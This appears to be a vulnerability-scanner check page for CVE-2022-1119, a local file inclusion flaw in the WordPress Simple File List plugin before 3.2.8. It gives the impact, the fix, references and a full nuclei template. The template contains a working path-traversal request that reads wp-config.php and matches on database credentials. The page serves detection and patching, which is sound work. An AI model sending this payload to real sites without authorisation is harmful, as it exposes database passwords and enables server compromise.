CVE-2022-1119· simplefilelist / simple-file-list· CWE-22
WordPress Simple File List <3.2.8 - Local File Inclusion
highseverity
7.5CVSS score
17.5%likelihood of exploitation, next 30 days
97%of all CVEs are less likely
Readycheck to confirm it
WordPress Simple File List before 3.2.8 is vulnerable to local file inclusion via the eeFile parameter in the ~/includes/ee-downloader.php due to missing controls which make it possible for unauthenticated attackers retrieve arbitrary files.
Impact
An attacker can exploit this vulnerability to read sensitive files on the server, potentially leading to further compromise.
Fix
Update WordPress Simple File List to version 3.2.8 or later to mitigate the vulnerability.
How to confirm it
Send: GET {{BaseURL}}/wp-content/plugins/simple-file-list/includes/ee-downloader.php?eeFile=%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e/wp-config.php
Positive when: contains "DB_NAME" and "DB_PASSWORD" AND status 200Run it with nuclei: nuclei -id CVE-2022-1119 -u <target>. This check is not marked as verified by its authors.
The full check
id: CVE-2022-1119
info:
name: WordPress Simple File List <3.2.8 - Local File Inclusion
author: random-robbie
severity: high
description: |
WordPress Simple File List before 3.2.8 is vulnerable to local file inclusion via the eeFile parameter in the ~/includes/ee-downloader.php due to missing controls which make it possible for unauthenticated attackers retrieve arbitrary files.
impact: |
An attacker can exploit this vulnerability to read sensitive files on the server, potentially leading to further compromise.
remediation: |
Update WordPress Simple File List to version 3.2.8 or later to mitigate the vulnerability.
reference:
- https://wpscan.com/vulnerability/5551038f-64fb-44d8-bea0-d2f00f04877e
- https://wpscan.com/vulnerability/075a3cc5-1970-4b64-a16f-3ec97e22b606
- https://plugins.trac.wordpress.org/browser/simple-file-list/trunk/includes/ee-downloader.php?rev=2071880
- https://nvd.nist.gov/vuln/detail/CVE-2022-1119
- https://www.wordfence.com/vulnerability-advisories/#CVE-2022-1119
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2022-1119
cwe-id: CWE-22
epss-score: 0.17487
epss-percentile: 0.97156
cpe: cpe:2.3:a:simplefilelist:simple-file-list:*:*:*:*:*:wordpress:*:*
metadata:
max-request: 1
vendor: simplefilelist
product: simple-file-list
framework: wordpress
tags: cve,cve2022,wp,wp-plugin,wpscan,lfi,wordpress,simplefilelist,vuln
http:
- method: GET
path:
- "{{BaseURL}}/wp-content/plugins/simple-file-list/includes/ee-downloader.php?eeFile=%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e/wp-config.php"
matchers-condition: and
matchers:
- type: word
part: body
words:
- "DB_NAME"
- "DB_PASSWORD"
condition: and
- type: status
status:
- 200References
- https://wpscan.com/vulnerability/5551038f-64fb-44d8-bea0-d2f00f04877e
- https://wpscan.com/vulnerability/075a3cc5-1970-4b64-a16f-3ec97e22b606
- https://plugins.trac.wordpress.org/browser/simple-file-list/trunk/includes/ee-downloader.php?rev=2071880
- https://nvd.nist.gov/vuln/detail/CVE-2022-1119
- https://www.wordfence.com/vulnerability-advisories/#CVE-2022-1119
Use this check only on systems you are authorised to test. Where the data comes from